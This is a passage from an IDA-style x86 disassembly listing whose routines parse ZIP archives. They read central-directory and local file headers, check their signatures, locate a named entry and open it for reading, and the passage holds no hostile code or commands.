-70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 70h push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_40EDC8 mov eax, 0FFFFFF9Ah jmp loc_40F1AE ; --------------------------------------------------------------------------- loc_40EDC8: ; CODE XREF: sub_40EDA2+1Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax push 0 mov ecx, [ebp+var_10] mov edx, [ecx+14h] mov eax, [ebp+var_10] add edx, [eax+0Ch] push edx mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40EDF6 mov [ebp+var_C], 0FFFFFFFFh loc_40EDF6: ; CODE XREF: sub_40EDA2+4Bj cmp [ebp+var_C], 0 jnz short loc_40EE2B lea eax, [ebp+var_14] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EE1B mov [ebp+var_C], 0FFFFFFFFh jmp short loc_40EE2B ; --------------------------------------------------------------------------- loc_40EE1B: ; CODE XREF: sub_40EDA2+6Ej cmp [ebp+var_14], 2014B50h jz short loc_40EE2B mov [ebp+var_C], 0FFFFFF99h loc_40EE2B: ; CODE XREF: sub_40EDA2+58j ; sub_40EDA2+77j ... lea eax, [ebp+var_64] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EE48 mov [ebp+var_C], 0FFFFFFFFh loc_40EE48: ; CODE XREF: sub_40EDA2+9Dj lea eax, [ebp+var_60] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EE65 mov [ebp+var_C], 0FFFFFFFFh loc_40EE65: ; CODE XREF: sub_40EDA2+BAj lea eax, [ebp+var_5C] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EE82 mov [ebp+var_C], 0FFFFFFFFh loc_40EE82: ; CODE XREF: sub_40EDA2+D7j lea eax, [ebp+var_58] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EE9F mov [ebp+var_C], 0FFFFFFFFh loc_40EE9F: ; CODE XREF: sub_40EDA2+F4j lea eax, [ebp+var_54] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EEBC mov [ebp+var_C], 0FFFFFFFFh loc_40EEBC: ; CODE XREF: sub_40EDA2+111j lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_54] push ecx call sub_40ED29 add esp, 8 lea edx, [ebp+var_50] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EEE9 mov [ebp+var_C], 0FFFFFFFFh loc_40EEE9: ; CODE XREF: sub_40EDA2+13Ej lea edx, [ebp+var_4C] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EF06 mov [ebp+var_C], 0FFFFFFFFh loc_40EF06: ; CODE XREF: sub_40EDA2+15Bj lea edx, [ebp+var_48] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EF23 mov [ebp+var_C], 0FFFFFFFFh loc_40EF23: ; CODE XREF: sub_40EDA2+178j lea edx, [ebp+var_44] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EF40 mov [ebp+var_C], 0FFFFFFFFh loc_40EF40: ; CODE XREF: sub_40EDA2+195j lea edx, [ebp+var_40] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EF5D mov [ebp+var_C], 0FFFFFFFFh loc_40EF5D: ; CODE XREF: sub_40EDA2+1B2j lea edx, [ebp+var_3C] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EF7A mov [ebp+var_C], 0FFFFFFFFh loc_40EF7A: ; CODE XREF: sub_40EDA2+1CFj lea edx, [ebp+var_38] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EF97 mov [ebp+var_C], 0FFFFFFFFh loc_40EF97: ; CODE XREF: sub_40EDA2+1ECj lea edx, [ebp+var_34] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EFB4 mov [ebp+var_C], 0FFFFFFFFh loc_40EFB4: ; CODE XREF: sub_40EDA2+209j lea edx, [ebp+var_30] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EFD1 mov [ebp+var_C], 0FFFFFFFFh loc_40EFD1: ; CODE XREF: sub_40EDA2+226j lea edx, [ebp+var_8] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EFEE mov [ebp+var_C], 0FFFFFFFFh loc_40EFEE: ; CODE XREF: sub_40EDA2+243j mov edx, [ebp+var_4] add edx, [ebp+var_44] mov [ebp+var_4], edx cmp [ebp+var_C], 0 jnz short loc_40F05B cmp [ebp+arg_C], 0 jz short loc_40F05B mov eax, [ebp+var_44] cmp eax, [ebp+arg_10] jnb short loc_40F01C mov ecx, [ebp+arg_C] add ecx, [ebp+var_44] mov byte ptr [ecx], 0 mov edx, [ebp+var_44] mov [ebp+var_68], edx jmp short loc_40F022 ; --------------------------------------------------------------------------- loc_40F01C: ; CODE XREF: sub_40EDA2+267j mov eax, [ebp+arg_10] mov [ebp+var_68], eax loc_40F022: ; CODE XREF: sub_40EDA2+278j cmp [ebp+var_44], 0 jbe short loc_40F052 cmp [ebp+arg_10], 0 jbe short loc_40F052 mov ecx, [ebp+var_10] mov edx, [ecx] push edx push 1 mov eax, [ebp+var_68] push eax mov ecx, [ebp+arg_C] push ecx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40F052 mov [ebp+var_C], 0FFFFFFFFh loc_40F052: ; CODE XREF: sub_40EDA2+284j ; sub_40EDA2+28Aj ... mov edx, [ebp+var_4] sub edx, [ebp+var_68] mov [ebp+var_4], edx loc_40F05B: ; CODE XREF: sub_40EDA2+259j ; sub_40EDA2+25Fj cmp [ebp+var_C], 0 jnz loc_40F0F3 cmp [ebp+arg_14], 0 jz loc_40F0F3 mov eax, [ebp+var_40] cmp eax, [ebp+arg_18] jnb short loc_40F07F mov ecx, [ebp+var_40] mov [ebp+var_6C], ecx jmp short loc_40F085 ; --------------------------------------------------------------------------- loc_40F07F: ; CODE XREF: sub_40EDA2+2D3j mov edx, [ebp+arg_18] mov [ebp+var_6C], edx loc_40F085: ; CODE XREF: sub_40EDA2+2DBj cmp [ebp+var_4], 0 jz short loc_40F0B3 push 1 mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_10] mov edx, [ecx] push edx call sub_40E53B add esp, 0Ch test eax, eax jnz short loc_40F0AC mov [ebp+var_4], 0 jmp short loc_40F0B3 ; --------------------------------------------------------------------------- loc_40F0AC: ; CODE XREF: sub_40EDA2+2FFj mov [ebp+var_C], 0FFFFFFFFh loc_40F0B3: ; CODE XREF: sub_40EDA2+2E7j ; sub_40EDA2+308j cmp [ebp+var_40], 0 jbe short loc_40F0E3 cmp [ebp+arg_18], 0 jbe short loc_40F0E3 mov eax, [ebp+var_10] mov ecx, [eax] push ecx push 1 mov edx, [ebp+var_6C] push edx mov eax, [ebp+arg_14] push eax call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40F0E3 mov [ebp+var_C], 0FFFFFFFFh loc_40F0E3: ; CODE XREF: sub_40EDA2+315j ; sub_40EDA2+31Bj ... mov ecx, [ebp+var_40] sub ecx, [ebp+var_6C] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx jmp short loc_40F0FC ; --------------------------------------------------------------------------- loc_40F0F3: ; CODE XREF: sub_40EDA2+2BDj ; sub_40EDA2+2C7j mov eax, [ebp+var_4] add eax, [ebp+var_40] mov [ebp+var_4], eax loc_40F0FC: ; CODE XREF: sub_40EDA2+34Fj cmp [ebp+var_C], 0 jnz short loc_40F17E cmp [ebp+arg_1C], 0 jz short loc_40F17E mov ecx, [ebp+var_3C] cmp ecx, [ebp+arg_20] jnb short loc_40F121 mov edx, [ebp+arg_1C] add edx, [ebp+var_3C] mov byte ptr [edx], 0 mov eax, [ebp+var_3C] mov [ebp+var_70], eax jmp short loc_40F127 ; --------------------------------------------------------------------------- loc_40F121: ; CODE XREF: sub_40EDA2+36Cj mov ecx, [ebp+arg_20] mov [ebp+var_70], ecx loc_40F127: ; CODE XREF: sub_40EDA2+37Dj cmp [ebp+var_4], 0 jz short loc_40F14E push 1 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_10] mov ecx, [eax] push ecx call sub_40E53B add esp, 0Ch test eax, eax jnz short loc_40F147 jmp short loc_40F14E ; --------------------------------------------------------------------------- loc_40F147: ; CODE XREF: sub_40EDA2+3A1j mov [ebp+var_C], 0FFFFFFFFh loc_40F14E: ; CODE XREF: sub_40EDA2+389j ; sub_40EDA2+3A3j cmp [ebp+var_3C], 0 jbe short loc_40F17E cmp [ebp+arg_20], 0 jbe short loc_40F17E mov edx, [ebp+var_10] mov eax, [edx] push eax push 1 mov ecx, [ebp+var_70] push ecx mov edx, [ebp+arg_1C] push edx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40F17E mov [ebp+var_C], 0FFFFFFFFh loc_40F17E: ; CODE XREF: sub_40EDA2+35Ej ; sub_40EDA2+364j ... cmp [ebp+var_C], 0 jnz short loc_40F197 cmp [ebp+arg_4], 0 jz short loc_40F197 mov ecx, 14h lea esi, [ebp+var_64] mov edi, [ebp+arg_4] rep movsd loc_40F197: ; CODE XREF: sub_40EDA2+3E0j ; sub_40EDA2+3E6j cmp [ebp+var_C], 0 jnz short loc_40F1AB cmp [ebp+arg_8], 0 jz short loc_40F1AB mov eax, [ebp+arg_8] mov ecx, [ebp+var_8] mov [eax], ecx loc_40F1AB: ; CODE XREF: sub_40EDA2+3F9j ; sub_40EDA2+3FFj mov eax, [ebp+var_C] loc_40F1AE: ; CODE XREF: sub_40EDA2+21j pop edi pop esi mov esp, ebp pop ebp retn sub_40EDA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F1B4 proc near ; CODE XREF: sub_40F30A+BBp ; sub_40FF4C+194p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_40EDA2 add esp, 24h pop ebp retn sub_40F1B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F1E3 proc near ; CODE XREF: sub_40EA92+205p ; sub_40F30A+8Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_40F1F6 mov eax, 0FFFFFF9Ah jmp short loc_40F24D ; --------------------------------------------------------------------------- loc_40F1F6: ; CODE XREF: sub_40F1E3+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+24h] mov [ecx+14h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+10h], 0 push 0 push 0 push 0 push 0 push 0 push 0 mov edx, [ebp+var_8] add edx, 78h push edx mov eax, [ebp+var_8] add eax, 28h push eax mov ecx, [ebp+arg_0] push ecx call sub_40EDA2 add esp, 24h mov [ebp+var_4], eax xor edx, edx cmp [ebp+var_4], 0 setz dl mov eax, [ebp+var_8] mov [eax+18h], edx mov eax, [ebp+var_4] loc_40F24D: ; CODE XREF: sub_40F1E3+11j mov esp, ebp pop ebp retn sub_40F1E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F251 proc near ; CODE XREF: sub_40F30A+E9p ; sub_40FF4C+169p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_40F267 mov eax, 0FFFFFF9Ah jmp loc_40F306 ; --------------------------------------------------------------------------- loc_40F267: ; CODE XREF: sub_40F251+Aj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+18h], 0 jnz short loc_40F280 mov eax, 0FFFFFF9Ch jmp loc_40F306 ; --------------------------------------------------------------------------- loc_40F280: ; CODE XREF: sub_40F251+23j mov edx, [ebp+var_8] mov eax, [edx+10h] add eax, 1 mov ecx, [ebp+var_8] cmp eax, [ecx+4] jnz short loc_40F298 mov eax, 0FFFFFF9Ch jmp short loc_40F306 ; --------------------------------------------------------------------------- loc_40F298: ; CODE XREF: sub_40F251+3Ej mov edx, [ebp+var_8] mov eax, [edx+48h] mov ecx, [ebp+var_8] mov edx, [ecx+4Ch] lea eax, [eax+edx+2Eh] mov ecx, [ebp+var_8] add eax, [ecx+50h] mov edx, [ebp+var_8] mov ecx, [edx+14h] add ecx, eax mov edx, [ebp+var_8] mov [edx+14h], ecx mov eax, [ebp+var_8] mov ecx, [eax+10h] add ecx, 1 mov edx, [ebp+var_8] mov [edx+10h], ecx push 0 push 0 push 0 push 0 push 0 push 0 mov eax, [ebp+var_8] add eax, 78h push eax mov ecx, [ebp+var_8] add ecx, 28h push ecx mov edx, [ebp+arg_0] push edx call sub_40EDA2 add esp, 24h mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setz al mov ecx, [ebp+var_8] mov [ecx+18h], eax mov eax, [ebp+var_4] loc_40F306: ; CODE XREF: sub_40F251+11j ; sub_40F251+2Aj ... mov esp, ebp pop ebp retn sub_40F251 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F30A proc near ; CODE XREF: sub_4105D7+25p var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 218h cmp [ebp+arg_0], 0 jnz short loc_40F323 mov eax, 0FFFFFF9Ah jmp loc_40F427 ; --------------------------------------------------------------------------- loc_40F323: ; CODE XREF: sub_40F30A+Dj mov eax, [ebp+arg_4] push eax call sub_41162E ; strlen add esp, 4 cmp eax, 100h jb short loc_40F340 mov eax, 0FFFFFF9Ah jmp loc_40F427 ; --------------------------------------------------------------------------- loc_40F340: ; CODE XREF: sub_40F30A+2Aj mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_104] push edx call sub_411628 ; strcpy add esp, 8 mov eax, [ebp+arg_0] mov [ebp+var_10C], eax mov ecx, [ebp+var_10C] cmp dword ptr [ecx+18h], 0 jnz short loc_40F372 mov eax, 0FFFFFF9Ch jmp loc_40F427 ; --------------------------------------------------------------------------- loc_40F372: ; CODE XREF: sub_40F30A+5Cj mov edx, [ebp+var_10C] mov eax, [edx+10h] mov [ebp+var_110], eax mov ecx, [ebp+var_10C] mov edx, [ecx+14h] mov [ebp+var_114], edx mov eax, [ebp+arg_0] push eax call sub_40F1E3 add esp, 4 mov [ebp+var_108], eax loc_40F3A2: ; CODE XREF: sub_40F30A+F7j cmp [ebp+var_108], 0 jnz short loc_40F403 push 0 push 0 push 0 push 0 push 100h lea ecx, [ebp+var_218] push ecx push 0 mov edx, [ebp+arg_0] push edx call sub_40F1B4 add esp, 20h mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_104] push ecx lea edx, [ebp+var_218] push edx call sub_40E8D4 add esp, 0Ch test eax, eax jnz short loc_40F3EF xor eax, eax jmp short loc_40F427 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: sub_40F30A+DFj mov eax, [ebp+arg_0] push eax call sub_40F251 add esp, 4 mov [ebp+var_108], eax jmp short loc_40F3A2 ; --------------------------------------------------------------------------- loc_40F403: ; CODE XREF: sub_40F30A+9Fj mov ecx, [ebp+var_10C] mov edx, [ebp+var_110] mov [ecx+10h], edx mov eax, [ebp+var_10C] mov ecx, [ebp+var_114] mov [eax+14h], ecx mov eax, [ebp+var_108] loc_40F427: ; CODE XREF: sub_40F30A+14j ; sub_40F30A+31j ... mov esp, ebp pop ebp retn sub_40F30A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F42B proc near ; CODE XREF: sub_40F6B0+54p ; sub_40FF4C+1B4p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_4], 0 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 0 push 0 mov eax, [ebp+arg_0] mov ecx, [eax+78h] mov edx, [ebp+arg_0] add ecx, [edx+0Ch] push ecx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40F47C or eax, 0FFFFFFFFh jmp loc_40F6AC ; --------------------------------------------------------------------------- loc_40F47C: ; CODE XREF: sub_40F42B+47j cmp [ebp+var_4], 0 jnz short loc_40F4B1 lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40F4A1 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F4B1 ; --------------------------------------------------------------------------- loc_40F4A1: ; CODE XREF: sub_40F42B+6Bj cmp [ebp+var_10], 4034B50h jz short loc_40F4B1 mov [ebp+var_4], 0FFFFFF99h loc_40F4B1: ; CODE XREF: sub_40F42B+55j ; sub_40F42B+74j ... lea edx, [ebp+var_18] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40F4CE mov [ebp+var_4], 0FFFFFFFFh loc_40F4CE: ; CODE XREF: sub_40F42B+9Aj lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40F4EB mov [ebp+var_4], 0FFFFFFFFh loc_40F4EB: ; CODE XREF: sub_40F42B+B7j lea edx, [ebp+var_18] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40F50A mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F522 ; --------------------------------------------------------------------------- loc_40F50A: ; CODE XREF: sub_40F42B+D4j cmp [ebp+var_4], 0 jnz short loc_40F522 mov edx, [ebp+arg_0] mov eax, [ebp+var_18] cmp eax, [edx+34h] jz short loc_40F522 mov [ebp+var_4], 0FFFFFF99h loc_40F522: ; CODE XREF: sub_40F42B+DDj ; sub_40F42B+E3j ... cmp [ebp+var_4], 0 jnz short loc_40F541 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+34h], 0 jz short loc_40F541 mov edx, [ebp+arg_0] cmp dword ptr [edx+34h], 8 jz short loc_40F541 mov [ebp+var_4], 0FFFFFF99h loc_40F541: ; CODE XREF: sub_40F42B+FBj ; sub_40F42B+104j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40F55E mov [ebp+var_4], 0FFFFFFFFh loc_40F55E: ; CODE XREF: sub_40F42B+12Aj lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40F57D mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F59F ; --------------------------------------------------------------------------- loc_40F57D: ; CODE XREF: sub_40F42B+147j cmp [ebp+var_4], 0 jnz short loc_40F59F mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+3Ch] jz short loc_40F59F mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_40F59F mov [ebp+var_4], 0FFFFFF99h loc_40F59F: ; CODE XREF: sub_40F42B+150j ; sub_40F42B+156j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40F5BE mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F5E0 ; --------------------------------------------------------------------------- loc_40F5BE: ; CODE XREF: sub_40F42B+188j cmp [ebp+var_4], 0 jnz short loc_40F5E0 mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+40h] jz short loc_40F5E0 mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_40F5E0 mov [ebp+var_4], 0FFFFFF99h loc_40F5E0: ; CODE XREF: sub_40F42B+191j ; sub_40F42B+197j ... lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40F5FF mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F621 ; --------------------------------------------------------------------------- loc_40F5FF: ; CODE XREF: sub_40F42B+1C9j cmp [ebp+var_4], 0 jnz short loc_40F621 mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] cmp ecx, [eax+44h] jz short loc_40F621 mov edx, [ebp+var_14] and edx, 8 test edx, edx jnz short loc_40F621 mov [ebp+var_4], 0FFFFFF99h loc_40F621: ; CODE XREF: sub_40F42B+1D2j ; sub_40F42B+1D8j ... lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40F640 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40F658 ; --------------------------------------------------------------------------- loc_40F640: ; CODE XREF: sub_40F42B+20Aj cmp [ebp+var_4], 0 jnz short loc_40F658 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] cmp ecx, [eax+48h] jz short loc_40F658 mov [ebp+var_4], 0FFFFFF99h loc_40F658: ; CODE XREF: sub_40F42B+213j ; sub_40F42B+219j ... mov edx, [ebp+arg_4] mov eax, [edx] add eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx], eax lea edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40F682 mov [ebp+var_4], 0FFFFFFFFh loc_40F682: ; CODE XREF: sub_40F42B+24Ej mov edx, [ebp+arg_0] mov eax, [edx+78h] mov ecx, [ebp+var_C] lea edx, [eax+ecx+1Eh] mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ebp+var_8] mov [ecx], edx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [edx], ecx mov eax, [ebp+var_4] loc_40F6AC: ; CODE XREF: sub_40F42B+4Cj mov esp, ebp pop ebp retn sub_40F42B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B0 proc near ; CODE XREF: sub_4107B2+DEp ; sub_4107B2+3D8p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_0], 0 jnz short loc_40F6C6 mov eax, 0FFFFFF9Ah jmp loc_40F86E ; --------------------------------------------------------------------------- loc_40F6C6: ; CODE XREF: sub_40F6B0+Aj mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+18h], 0 jnz short loc_40F6DF mov eax, 0FFFFFF9Ah jmp loc_40F86E ; --------------------------------------------------------------------------- loc_40F6DF: ; CODE XREF: sub_40F6B0+23j mov edx, [ebp+var_C] cmp dword ptr [edx+7Ch], 0 jz short loc_40F6F4 mov eax, [ebp+arg_0] push eax call sub_40FCA7 add esp, 4 loc_40F6F4: ; CODE XREF: sub_40F6B0+36j lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_18] push eax mov ecx, [ebp+var_C] push ecx call sub_40F42B add esp, 10h test eax, eax jz short loc_40F71A mov eax, 0FFFFFF99h jmp loc_40F86E ; --------------------------------------------------------------------------- loc_40F71A: ; CODE XREF: sub_40F6B0+5Ej push 6Ch call dword_4131C8 ; malloc add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40F738 mov eax, 0FFFFFF98h jmp loc_40F86E ; --------------------------------------------------------------------------- loc_40F738: ; CODE XREF: sub_40F6B0+7Cj push 4000h call dword_4131C8 ; malloc add esp, 4 mov edx, [ebp+var_8] mov [edx], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov [eax+44h], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_10] mov [edx+48h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+4Ch], 0 mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz short loc_40F78C cmp [ebp+var_8], 0 jz short loc_40F782 mov eax, [ebp+var_8] push eax call dword_4131D4 ; free add esp, 4 loc_40F782: ; CODE XREF: sub_40F6B0+C3j mov eax, 0FFFFFF98h jmp loc_40F86E ; --------------------------------------------------------------------------- loc_40F78C: ; CODE XREF: sub_40F6B0+BDj mov ecx, [ebp+var_8] mov dword ptr [ecx+40h], 0 mov ecx, [ebp+var_C] xor edx, edx cmp dword ptr [ecx+34h], 0 setz dl mov [ebp+var_14], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+3Ch] mov [eax+54h], edx mov eax, [ebp+var_8] mov dword ptr [eax+50h], 0 mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+34h] mov [ecx+64h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx] mov [ecx+60h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+0Ch] mov [ecx+68h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+18h], 0 cmp [ebp+var_14], 0 jnz short loc_40F82E mov edx, [ebp+var_8] mov dword ptr [edx+24h], 0 mov eax, [ebp+var_8] mov dword ptr [eax+28h], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx+2Ch], 0 mov edx, [ebp+var_8] add edx, 4 push edx call sub_40DAB5 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40F82E mov eax, [ebp+var_8] mov dword ptr [eax+40h], 1 loc_40F82E: ; CODE XREF: sub_40F6B0+13Cj ; sub_40F6B0+172j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+40h] mov [ecx+58h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+44h] mov [ecx+5Ch], eax mov ecx, [ebp+var_C] mov edx, [ecx+78h] mov eax, [ebp+var_18] lea ecx, [edx+eax+1Eh] mov edx, [ebp+var_8] mov [edx+3Ch], ecx mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov [ecx+7Ch], edx xor eax, eax loc_40F86E: ; CODE XREF: sub_40F6B0+11j ; sub_40F6B0+2Aj ... mov esp, ebp pop ebp retn sub_40F6B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F872 proc near ; CODE XREF: sub_4107B2+103p ; sub_4107B2+3FCp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h push esi mov [ebp+var_4], 0 mov [ebp+var_10], 0 mov eax, 